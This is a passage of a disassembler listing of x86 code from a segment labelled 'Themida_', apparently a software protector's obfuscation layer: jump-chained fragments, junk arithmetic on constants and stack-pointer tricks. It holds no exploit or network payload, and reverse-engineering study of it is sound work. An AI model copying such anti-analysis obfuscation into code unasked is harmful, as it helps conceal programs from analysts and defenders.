loc_5917E4:				; CODE XREF: sub_59196D:loc_58B7D9j
					; sub_59196D:loc_58C361j
		sub	ebp, 57CD3593h
		jns	loc_594B2A
		jmp	loc_58FAC9
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		inc	ebx
		mov	ah, 0E0h
		mov	cl, 0A6h

; =============== S U B	R O U T	I N E =======================================



sub_5917FA	proc near		; CODE XREF: sub_59196D+63B1j

var_6		= word ptr -6

; FUNCTION CHUNK AT 0058EA6C SIZE 0000000A BYTES

		push	ebx
		mov	bh, 1Eh
		push	small 2290h
		mov	[esp+6+var_6], cx
		mov	ch, 0EBh
		add	bh, ch
		jmp	loc_58EA6C
sub_5917FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59180E:				; CODE XREF: sub_59196D+4F8Dj
		push	dx
		mov	dh, 80h
		add	al, dh
		pop	dx
		add	al, bl
		sub	al, 80h
		jmp	loc_594EF2
; ---------------------------------------------------------------------------


loc_59181F:				; CODE XREF: sub_59196D-10D9j
		mov	edi, 3176126Dh
		mov	ebp, 4AF47597h
		jmp	loc_58BD69
; ---------------------------------------------------------------------------


loc_59182E:				; CODE XREF: sub_59196D-56CFj
		or	dl, 61h
		push	ebx
		mov	bl, 0F4h
		shr	bl, 7
		dec	bl
		jmp	loc_594D5E
; ---------------------------------------------------------------------------


loc_59183E:				; CODE XREF: sub_59196D-254Fj
		add	ebx, 334B6B65h
		add	ebx, 1507045Bh
		sub	ebx, esi
		jmp	loc_592427
; ---------------------------------------------------------------------------


loc_591851:				; CODE XREF: sub_59196D-1801j
					; sub_59196D+35A3j
		push	esi
		jmp	sub_58F0FA
; ---------------------------------------------------------------------------


loc_591857:				; CODE XREF: sub_59196D-5E69j
		add	edi, 4
		jmp	loc_58EFC9
; ---------------------------------------------------------------------------


loc_59185F:				; CODE XREF: sub_59196D-17F1j
		jmp	loc_58F517
; ---------------------------------------------------------------------------


loc_591864:				; CODE XREF: sub_59196D+4A5Bj
		xchg	ebx, [esp+1Ch+var_1E+2]
		pop	esp
		push	ebp
		jmp	loc_59123E
; ---------------------------------------------------------------------------


loc_59186E:				; CODE XREF: sub_59196D+2558j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591873:				; CODE XREF: sub_59196D+117Fj
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		not	ebx
		add	ebx, 4B83501h
		push	edi
		mov	edi, 20263190h
		push	ecx
		mov	ecx, 59765FE4h
		jmp	loc_598375
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_591895:				; DATA XREF: Themida_:0058B110o
		mov	ax, [esp]
		push	ebx
		jmp	loc_593366
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59189F:				; CODE XREF: sub_59196D+C83j
		add	esp, 4
		jmp	loc_58E524
; ---------------------------------------------------------------------------


loc_5918A7:				; CODE XREF: sub_59196D+63CFj
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		push	1868h
		mov	[esp+18h+var_1A+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		jmp	loc_58D7C3
; ---------------------------------------------------------------------------


loc_5918CC:				; CODE XREF: sub_59196D+3AC9j
		mov	esi, 6E17280Ch
		add	esi, 0A6CCD8CEh
		and	ebp, esi
		pop	esi
		jmp	loc_597432
; ---------------------------------------------------------------------------


loc_5918DF:				; CODE XREF: sub_59196D-6498j
		add	ch, dl
		pop	edx
		jmp	loc_590F5E
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_5918E7	proc near		; CODE XREF: sub_59196D-2BD2j

; FUNCTION CHUNK AT 0058FEF4 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_58FEF4
sub_5918E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5918F5:				; CODE XREF: sub_59196D-6355j
		pop	ecx
		add	al, 76h
		sub	al, dh
		sub	al, 76h
		mov	dx, word ptr [esp+10h+var_12+2]
		add	esp, 2
		push	0CFDh
		mov	[esp+10h+var_12+2], ecx
		mov	cl, 12h
		or	cl, 7Dh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		jmp	loc_590572
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_59192A	proc near		; CODE XREF: sub_59196D+2F2Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058EBBC SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		push	edx
		mov	dl, 8Ah
		shl	dl, 4
		jmp	loc_58EBBC
sub_59192A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591945:				; CODE XREF: sub_59196D-2FE8j
		sub	ebp, 67712331h
		jmp	loc_58B44D
; ---------------------------------------------------------------------------


loc_591950:				; CODE XREF: sub_59196D-427Aj
		add	esi, 6ADB07FEh
		and	esi, 3E337CD7h
		xor	esi, 4F331BA8h
		push	ecx
		mov	ecx, 451223FEh
		jmp	loc_590BFE
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_59196D	proc near		; DATA XREF: Themida_:0058B124o

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5A		= dword	ptr -5Ah
var_54		= dword	ptr -54h
var_4E		= dword	ptr -4Eh
var_4A		= dword	ptr -4Ah
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_30		= dword	ptr  34h
arg_34		= dword	ptr  38h

; FUNCTION CHUNK AT 0058B37B SIZE 000000C9 BYTES
; FUNCTION CHUNK AT 0058B44D SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0058B504 SIZE 000000F7 BYTES
; FUNCTION CHUNK AT 0058B602 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B616 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058B638 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B670 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B6AE SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0058B71B SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058B764 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B781 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0058B7E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B812 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0058B86A SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0058B8F6 SIZE 00000099 BYTES
; FUNCTION CHUNK AT 0058B998 SIZE 00000193 BYTES
; FUNCTION CHUNK AT 0058BB52 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BB6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB85 SIZE 000000A8 BYTES
; FUNCTION CHUNK AT 0058BC3F SIZE 00000081 BYTES
; FUNCTION CHUNK AT 0058BCD9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058BD16 SIZE 000000B9 BYTES
; FUNCTION CHUNK AT 0058BDF0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058BE1D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BE30 SIZE 000000D3 BYTES
; FUNCTION CHUNK AT 0058BF1D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058BF54 SIZE 0000024A BYTES
; FUNCTION CHUNK AT 0058C229 SIZE 0000014D BYTES
; FUNCTION CHUNK AT 0058C3A1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058C3E1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C3FA SIZE 00000185 BYTES
; FUNCTION CHUNK AT 0058C58A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C5C3 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058C602 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058C64A SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058C69E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C6D1 SIZE 00000099 BYTES
; FUNCTION CHUNK AT 0058C76F SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0058C7F7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C829 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0058C8D8 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0058C974 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058C9BE SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0058CA4C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058CA74 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CA98 SIZE 0000023E BYTES
; FUNCTION CHUNK AT 0058CCDF SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0058CD20 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0058CD8B SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058CDEC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058CE22 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058CE81 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CEB2 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058CF1C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CF3F SIZE 00000098 BYTES
; FUNCTION CHUNK AT 0058CFEB SIZE 000000BC BYTES
; FUNCTION CHUNK AT 0058D0C9 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058D122 SIZE 000002A5 BYTES
; FUNCTION CHUNK AT 0058D3D9 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058D41E SIZE 00000103 BYTES
; FUNCTION CHUNK AT 0058D544 SIZE 00000071 BYTES
; FUNCTION CHUNK AT 0058D5C8 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0058D62E SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058D68C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058D6B6 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0058D76E SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0058D7C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D7EA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D81C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D838 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0058D8C9 SIZE 00000145 BYTES
; FUNCTION CHUNK AT 0058DA28 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0058DA9F SIZE 0000009A BYTES
; FUNCTION CHUNK AT 0058DB41 SIZE 00000107 BYTES
; FUNCTION CHUNK AT 0058DC52 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 0058DCDD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058DD16 SIZE 00000149 BYTES
; FUNCTION CHUNK AT 0058DE62 SIZE 0000007C BYTES
; FUNCTION CHUNK AT 0058DEF1 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 0058E001 SIZE 000000AD BYTES
; FUNCTION CHUNK AT 0058E0B7 SIZE 0000007E BYTES
; FUNCTION CHUNK AT 0058E13A SIZE 0000008E BYTES
; FUNCTION CHUNK AT 0058E1EA SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058E23F SIZE 00000178 BYTES
; FUNCTION CHUNK AT 0058E3D7 SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0058E46B SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0058E4EF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E51E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058E54E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E567 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0058E5E2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058E630 SIZE 000000EF BYTES
; FUNCTION CHUNK AT 0058E776 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058E7D8 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0058E83C SIZE 000000CD BYTES
; FUNCTION CHUNK AT 0058E90A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E930 SIZE 000000C3 BYTES
; FUNCTION CHUNK AT 0058EA09 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0058EA92 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058EB0A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058EB3B SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0058EBC7 SIZE 0000013E BYTES
; FUNCTION CHUNK AT 0058ED2B SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058ED82 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0058EDD5 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058EE4B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EE6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EE7E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058EEA5 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0058EF1C SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0058EF75 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058EF98 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058EFC9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EFF0 SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0058F074 SIZE 00000086 BYTES
; FUNCTION CHUNK AT 0058F11D SIZE 000000EB BYTES
; FUNCTION CHUNK AT 0058F217 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F22C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F254 SIZE 000001A2 BYTES
; FUNCTION CHUNK AT 0058F3F8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058F436 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058F487 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058F4BC SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058F4F6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F50F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F542 SIZE 0000007F BYTES
; FUNCTION CHUNK AT 0058F5DC SIZE 0000031A BYTES
; FUNCTION CHUNK AT 0058F90F SIZE 000000A0 BYTES
; FUNCTION CHUNK AT 0058F9B8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F9E2 SIZE 000001BD BYTES
; FUNCTION CHUNK AT 0058FBC7 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058FC0C SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058FC5B SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058FCB0 SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0058FD4B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0058FDB0 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0058FE37 SIZE 000000BD BYTES
; FUNCTION CHUNK AT 0058FF02 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058FF86 SIZE 0000010B BYTES
; FUNCTION CHUNK AT 0059009D SIZE 00000095 BYTES
; FUNCTION CHUNK AT 00590144 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00590191 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005901C7 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0059021E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00590253 SIZE 0000007D BYTES
; FUNCTION CHUNK AT 005902E5 SIZE 000000D0 BYTES
; FUNCTION CHUNK AT 005903BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005903DA SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0059044D SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00590493 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0059050F SIZE 00000071 BYTES
; FUNCTION CHUNK AT 005905A5 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0059060C SIZE 0000006B BYTES
; FUNCTION CHUNK AT 005906A0 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005906FA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059071E SIZE 00000068 BYTES
; FUNCTION CHUNK AT 005907A6 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0059083B SIZE 0000007D BYTES
; FUNCTION CHUNK AT 005908DD SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0059094A SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005909C3 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 00590A25 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 00590A95 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590AAE SIZE 000000E0 BYTES
; FUNCTION CHUNK AT 00590B9A SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00590BFE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00590C3E SIZE 0000009D BYTES
; FUNCTION CHUNK AT 00590CFD SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00590D4A SIZE 00000142 BYTES
; FUNCTION CHUNK AT 00590E98 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00590EF4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00590F23 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590F51 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00590F88 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00590FBF SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00591008 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 00591082 SIZE 0000007C BYTES
; FUNCTION CHUNK AT 00591115 SIZE 00000176 BYTES
; FUNCTION CHUNK AT 005912E6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591317 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059133A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591359 SIZE 000000F6 BYTES
; FUNCTION CHUNK AT 005914A1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005914BF SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591507 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00591539 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591557 SIZE 00000109 BYTES
; FUNCTION CHUNK AT 0059167D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591690 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005916C6 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00591717 SIZE 0000009D BYTES
; FUNCTION CHUNK AT 005917BF SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0059180E SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0059189F SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005918F5 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00591945 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059841A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00598445 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005984A0 SIZE 000000C5 BYTES
; FUNCTION CHUNK AT 0059856D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059859A SIZE 000000E2 BYTES

		sub	esp, 4
		jmp	loc_59621D
; ---------------------------------------------------------------------------


loc_591978:				; CODE XREF: sub_59196D+CA2j
		mov	word ptr [esp+1Ch+var_1E+2], cx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591981:				; CODE XREF: sub_59196D+1ED2j
		add	edx, eax
		push	[esp+1Ch+var_1E+2]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_22+2]
		jmp	loc_595E9B
; ---------------------------------------------------------------------------


loc_59199E:				; CODE XREF: sub_59196D-5070j
		add	esp, 4
		push	ebx
		mov	bh, dl
		jmp	loc_5935AA
; ---------------------------------------------------------------------------


loc_5919A9:				; CODE XREF: sub_59196D+4247j
		pop	eax
		add	bl, al
		jmp	loc_58F6AD
; ---------------------------------------------------------------------------


loc_5919B1:				; CODE XREF: sub_59196D+22C1j
		push	esi
		push	4
		pop	esi
		sub	edi, esi
		pop	esi
		jmp	loc_59356B
; ---------------------------------------------------------------------------


loc_5919C0:				; CODE XREF: sub_58EE14+32j
		add	[esp+2Eh+var_2E], 4
		pop	eax
		add	eax, 4
		push	esi
		jmp	loc_593AB5
; ---------------------------------------------------------------------------


loc_5919D3:				; CODE XREF: Themida_:0058EB05j
		xchg	eax, [esp+2Eh+var_2E]
		pop	esp
		jmp	loc_59616A
; ---------------------------------------------------------------------------


loc_5919DC:				; CODE XREF: sub_59196D+2D45j
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		push	[esp+26h+var_26]
		pop	eax
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esi
		jmp	loc_58BF79
; ---------------------------------------------------------------------------


loc_5919EF:				; CODE XREF: sub_59196D+1BDBj
		xchg	eax, [esp+2Ah+var_2A]
		pop	esp
		jmp	loc_5941A2
; ---------------------------------------------------------------------------


loc_5919F8:				; CODE XREF: sub_59196D+D98j
		pop	ebx
		or	ebx, 76135884h
		add	ebx, 60EB01B6h
		mov	ecx, ebx
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 66F51BD7h
		sub	ebp, 5F1FDEF6h
		mov	edi, ebp
		pop	ebp
		neg	edi
		jmp	loc_59728E
; ---------------------------------------------------------------------------


loc_591A27:				; CODE XREF: sub_59196D+6383j
		add	esi, edx
		add	esi, 29E20168h
		pop	edx
		jmp	loc_59615F
; ---------------------------------------------------------------------------


loc_591A35:				; CODE XREF: sub_59196D+1BF1j
		mov	esi, 388233DFh
		inc	esi
		jmp	loc_595453
; ---------------------------------------------------------------------------


loc_591A40:				; CODE XREF: sub_59196D+1261j
		xor	edi, 10614540h
		push	eax
		mov	eax, 2A85F51h
		shr	eax, 5
		xor	eax, 11E60BDEh
		jmp	loc_59710E
; ---------------------------------------------------------------------------


loc_591A59:				; CODE XREF: Themida_:0059018Cj
					; sub_59196D+1399j ...
		not	ecx
		sub	ecx, 0A0BF8F6Eh
		push	ebp
		jmp	loc_58B42E
; ---------------------------------------------------------------------------


loc_591A67:				; CODE XREF: sub_59196D-3169j
		pop	bx
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		jmp	loc_58C486
; ---------------------------------------------------------------------------


loc_591A77:				; CODE XREF: sub_59196D+4D3j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591A7C:				; CODE XREF: sub_59196D+42E3j
		mov	[esp+16h+var_16], ecx
		mov	ecx, 332A38A4h
		jmp	loc_58D6D3
; ---------------------------------------------------------------------------


loc_591A89:				; CODE XREF: sub_59196D+2A4Fj
		pop	esp
		push	ebx
		push	edx
		jmp	loc_5931EF
; ---------------------------------------------------------------------------


loc_591A91:				; CODE XREF: sub_59196D+3DA1j
		push	[esp+1Ah+var_16]
		mov	edi, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_5905AA
; ---------------------------------------------------------------------------


loc_591AA3:				; CODE XREF: sub_59196D+326Aj
		and	ecx, 615C4002h
		jmp	loc_597A34
; ---------------------------------------------------------------------------


loc_591AAE:				; CODE XREF: sub_59196D-3189j
		push	ecx
		push	[esp+1Ch+var_1A+2]
		pop	ecx
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		push	2114h
		mov	[esp+18h+var_1A+2], edx
		mov	edx, 1
		and	ecx, edx
		push	[esp+18h+var_1A+2]
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	1EC3h
		mov	[esp+1Ch+var_1E+2], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp+20h+var_22+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5901C7
; ---------------------------------------------------------------------------


loc_591AFC:				; CODE XREF: sub_59196D+74Bj
		sub	edx, 34B865AFh
		jp	loc_5915B9
		xor	edx, 76D5B12h
		mov	edi, edx
		pop	edx
		and	edi, 49A87299h
		jns	loc_595523
		sub	edi, 0FFFFFFFFh
		or	edi, 68ED47C5h
		pop	esi


loc_591B27:				; CODE XREF: sub_59196D-147Dj
		mov	edi, 66CF2A74h
		shr	edi, 3
		jmp	loc_5984D4
; ---------------------------------------------------------------------------


loc_591B34:				; CODE XREF: sub_59196D+4059j
		xor	edi, 17F351DBh
		add	edi, 1
		shr	edi, 8
		add	edi, 0FFAB2088h
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 3A943F08h
		xor	edi, 74700D6Ah
		xor	edi, 5454254Fh
		jmp	loc_58F65B
; ---------------------------------------------------------------------------


loc_591B60:				; CODE XREF: sub_59196D+231Bj
		jmp	loc_59539F
; ---------------------------------------------------------------------------


loc_591B65:				; CODE XREF: sub_59196D+5E0j
		push	ebp
		push	47E9234Ch
		pop	ebp
		add	ebp, 1
		shr	ebp, 1
		jmp	loc_58FC66
; ---------------------------------------------------------------------------


loc_591B79:				; CODE XREF: sub_59196D-2211j
		sub	ebx, ebp
		push	[esp+18h+var_1A+2]
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 7D8C7B83h
		sub	ebx, esi
		jmp	loc_59507F
; ---------------------------------------------------------------------------


loc_591B8F:				; CODE XREF: sub_59196D+33B1j
					; sub_59196D+4092j
		movzx	cx, ah
		push	small 26A5h
		mov	word ptr [esp+1Ah+var_1A], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591BA7:				; CODE XREF: sub_59196D+176Dj
		mov	[esp+20h+var_22+2], edi
		push	ebx
		add	[esp+24h+var_26+2], 6F3A4B7Bh
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		push	esi
		jmp	loc_592F27
; ---------------------------------------------------------------------------


loc_591BC1:				; CODE XREF: sub_59196D-5DA5j
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_597403
; ---------------------------------------------------------------------------


loc_591BCF:				; CODE XREF: sub_59196D-47F4j
					; sub_59196D+D76j
		add	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+10h+var_12+2], esi
		push	2C9452C0h
		jmp	loc_596E87
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+14h+var_16+2]
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		jmp	loc_5933CE
; ---------------------------------------------------------------------------


loc_591BFA:				; CODE XREF: sub_59196D+27B5j
		xchg	ebx, [esp+1Ch+var_1E+2]
		pop	esp
		mov	ebp, eax
		pop	eax
		jmp	loc_593426
; ---------------------------------------------------------------------------


loc_591C06:				; CODE XREF: sub_59196D-115Ej
		add	eax, edx
		pop	edx
		jmp	loc_59293D
; ---------------------------------------------------------------------------


loc_591C0E:				; CODE XREF: sub_59196D-4810j
		sub	ecx, 5FA603F5h
		add	ecx, 704874E6h
		jmp	loc_58EF07
; ---------------------------------------------------------------------------


loc_591C1F:				; CODE XREF: sub_59196D+1B96j
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		jmp	loc_59857F
; ---------------------------------------------------------------------------


loc_591C2A:				; CODE XREF: sub_59196D-4809j
		sub	esp, 4
		mov	[esp+10h+var_12+2], esi
		jmp	loc_593813
; ---------------------------------------------------------------------------


loc_591C35:				; CODE XREF: sub_59196D+5E44j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5934C6
; ---------------------------------------------------------------------------


loc_591C46:				; CODE XREF: sub_59196D+1B4Bj
		and	esi, 72094548h
		jmp	loc_594197
; ---------------------------------------------------------------------------


loc_591C51:				; CODE XREF: sub_59196D-6054j
		push	edi
		mov	edi, 70FD3DB5h
		push	ebp
		mov	ebp, 0DE5191h
		add	ebp, 79060AC3h
		sub	edi, ebp
		jmp	loc_58E776
; ---------------------------------------------------------------------------


loc_591C6A:				; CODE XREF: sub_59196D+1BE3j
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58CBA9
; ---------------------------------------------------------------------------


loc_591C72:				; CODE XREF: sub_59196D+1A7Dj
		mov	edi, 60F2436Fh
		mov	ebx, 60F24373h
		sub	ebx, edi
